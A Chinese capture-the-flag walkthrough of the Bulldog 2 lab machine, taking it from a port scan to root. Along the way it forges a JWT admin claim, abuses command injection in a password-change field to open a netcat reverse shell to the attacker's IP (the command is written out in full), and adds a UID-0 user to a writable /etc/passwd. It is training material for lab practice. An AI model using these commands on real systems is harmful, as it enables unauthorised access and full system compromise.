渗透测试实战-bulldog 2靶机入侵

栏目: JavaScript · 发布时间: 6年前

内容简介:大家好!爱写靶机渗透文章的我又来了,因为是在工作闲暇时间做的靶机解题,所以更新可能会比较慢,为什么这篇要写在这个靶机呐?因为看到现在很多ctf和靶机都在使用nodojs出题,有可能会是个趋势,所以碰到了就写篇文章,让大家以后有个认识。bulldog 2靶机下载:

渗透测试实战-bulldog 2靶机入侵

前言

大家好!爱写靶机渗透文章的我又来了,因为是在工作闲暇时间做的靶机解题,所以更新可能会比较慢,为什么这篇要写在这个靶机呐?因为看到现在很多ctf和靶机都在使用nodojs出题,有可能会是个趋势,所以碰到了就写篇文章,让大家以后有个认识。

靶机安装/下载

bulldog 2靶机下载: https://pan.baidu.com/s/1crkVi54RbhczmqyHw3W1XQ

bulldog 2靶机ip:172.16.24.78

攻击者ip:172.16.24.89

渗透测试实战-bulldog 2靶机入侵

第一步不用怀疑,肯定还是nmap 神器开路

渗透测试实战-bulldog 2靶机入侵

可以看到该靶机只开放了80端口…, 下一部小伙伴们肯定是要探测目录了

渗透测试实战-bulldog 2靶机入侵

通过目录猜解可以看到没有发现什么可利用的目录,那根据个人经验估计突破口肯定在js文件里,

我们访问该靶机80端口,查看其js的调用情况。如图:

渗透测试实战-bulldog 2靶机入侵

可以看到该靶机首页调用了4个js文件,我们分别访问,美化一下看看(肯定有小伙伴要问了,为什么要美化。。 因为不美化是这样的,如图

渗透测试实战-bulldog 2靶机入侵

小弟这里把这4个js文件美化保持到本地, 下一步就是对其逐一进行审计查看,我们在查看页面的时候可以看到,页面上有个注册功能,但是我们点击报错。。。

渗透测试实战-bulldog 2靶机入侵

渗透测试实战-bulldog 2靶机入侵

我们使用 “register” 做为关键字对刚刚美化保存的4个js文件进行搜索,可以看到有所发现,如图:

渗透测试实战-bulldog 2靶机入侵

渗透测试实战-bulldog 2靶机入侵

根据js上的定义,我们可以使用 post提交 新账户信息来完成注册,但是注意这里有2点要求:

  1. Content-Type 必须要是:application/json
  2. post 数据包内容处,必须要严格按照js代码里的规范

post 数据包:

POST /users/register HTTP/1.1
Host: 172.16.24.78
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun, 15 Jul 2018 14:58:16 GMT
If-None-Match: W/“465-1649e73083e”
Content-Type: application/json
Content-Length: 96

{
“name”: “aqk”,
“email”: “aqk@test.com”,
“username”: “aqk”,
“password”: “123456”
}

渗透测试实战-bulldog 2靶机入侵

可以看到返回true,注册成功了,我们使用 “aqk”账号来登陆一下看看,

渗透测试实战-bulldog 2靶机入侵

可以看到已经成功登陆这个新账户的,但是没办法继续利用啊,怎么办。我们先退出登陆,回到注册点,在登陆看看,

1.先验证用户账户密码,如图:

渗透测试实战-bulldog 2靶机入侵

2.账号密码正确后,该靶机传递一个奇怪的tonken,如图:

渗透测试实战-bulldog 2靶机入侵

下一步我们就来解密一下看这个tonken传递了什么内容,我们可以去Google搜索 “jwt 解密” (注:百度搜索这个关键词出现一堆有的没的,谷歌搜索第一条就是我们想要的。优秀)

解密网址: https://jwt.io

我们把那个tonken后面的编码复制进去查询一下看看,如图:

渗透测试实战-bulldog 2靶机入侵

可以看到一个可疑的参数:“auth_level”,通过名字就应该知道是判断用户权限的,我们进行使用这个参数去刚刚保存的几个js文件里搜索看看,如图:

渗透测试实战-bulldog 2靶机入侵

在743行代码处,看到它的判断,下一步我们只需要把“master_admin_user” 替换掉原来的就行,如图:

渗透测试实战-bulldog 2靶机入侵

下一步就是复制修改后的新编码替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:

渗透测试实战-bulldog 2靶机入侵

放包以后,我们成功已经变成了 admin 账户,

渗透测试实战-bulldog 2靶机入侵

下一步突破口在修改密码处,为什么呢?因为前面测试的时候找到了其github上托管的代码,并发现在修改密码的密码处存在命令执行漏洞,如图:

  1. 报错信息:

渗透测试实战-bulldog 2靶机入侵 关键字“Bulldog-2-The-Reckoning”

2.github搜索

渗透测试实战-bulldog 2靶机入侵

3.发现漏洞

渗透测试实战-bulldog 2靶机入侵

当然各位小伙伴们也可以不用这么麻烦手动挖掘到这个漏洞,因为就那么2个功能页面。。。

下面我们就直接在修改密码处执行漏洞拿反弹shell,如图:

渗透测试实战-bulldog 2靶机入侵

注:此处的反弹 shell 命令为:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.24.89 6666 >/tmp/f

渗透测试实战-bulldog 2靶机入侵

成功拿到shell。

接下来肯定是提权了,相信看过小弟文章的都知道,该怎么弄了,这次小弟写个不一样的。

1.切换到/etc,查看passwd文件读写权限,如图:

渗透测试实战-bulldog 2靶机入侵

(注:命令出现重复,是特例,小伙伴们如果碰到这种情况,重新反弹一个shell回来就行,小弟懒,就算了…)

可以看到passwd文件可以写。。。 我们查看一下用户

渗透测试实战-bulldog 2靶机入侵

下一步我们只需要新建一个root用户就行,操作如下:

1.命令:perl -le ‘print crypt(“pass”, “aa”)’

渗透测试实战-bulldog 2靶机入侵

2.复制 passwd文件里 root 用户那列继续修改,如图

渗透测试实战-bulldog 2靶机入侵 注:我们只需要修改3处:一个是名字、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0 切记不可修改,相信小伙伴们都了解过passwd文件的对于的权限类型

下一步我们就直接把这个新创建的用户写入passwd文件里即可,

渗透测试实战-bulldog 2靶机入侵

确认一切都没问题了,就可以直接输入命令:su hack

密码为刚刚设置的:pass

成功拿到root权限,并拿到flag,如图:

渗透测试实战-bulldog 2靶机入侵

结语

不管是靶机的安全检测还是平时的渗透测试工作,我们都不应该去忽略js文件,可能有惊喜哦!多花点时间多考虑一个点,我相信你会有更多收获!最后祝大家生活愉快,国庆节快乐!


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Landing Page Optimization

Landing Page Optimization

Tim Ash / Wiley Publishing / 2008-1-29 / USD 29.99

在线阅读本书 How much money are you losing because of poor landing page design? In this comprehensive, step-by-step guide, you’ll learn all the skills necessary to dramatically improve your bottom li......一起来看看 《Landing Page Optimization》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

MD5 加密
MD5 加密

MD5 加密工具

SHA 加密
SHA 加密

SHA 加密工具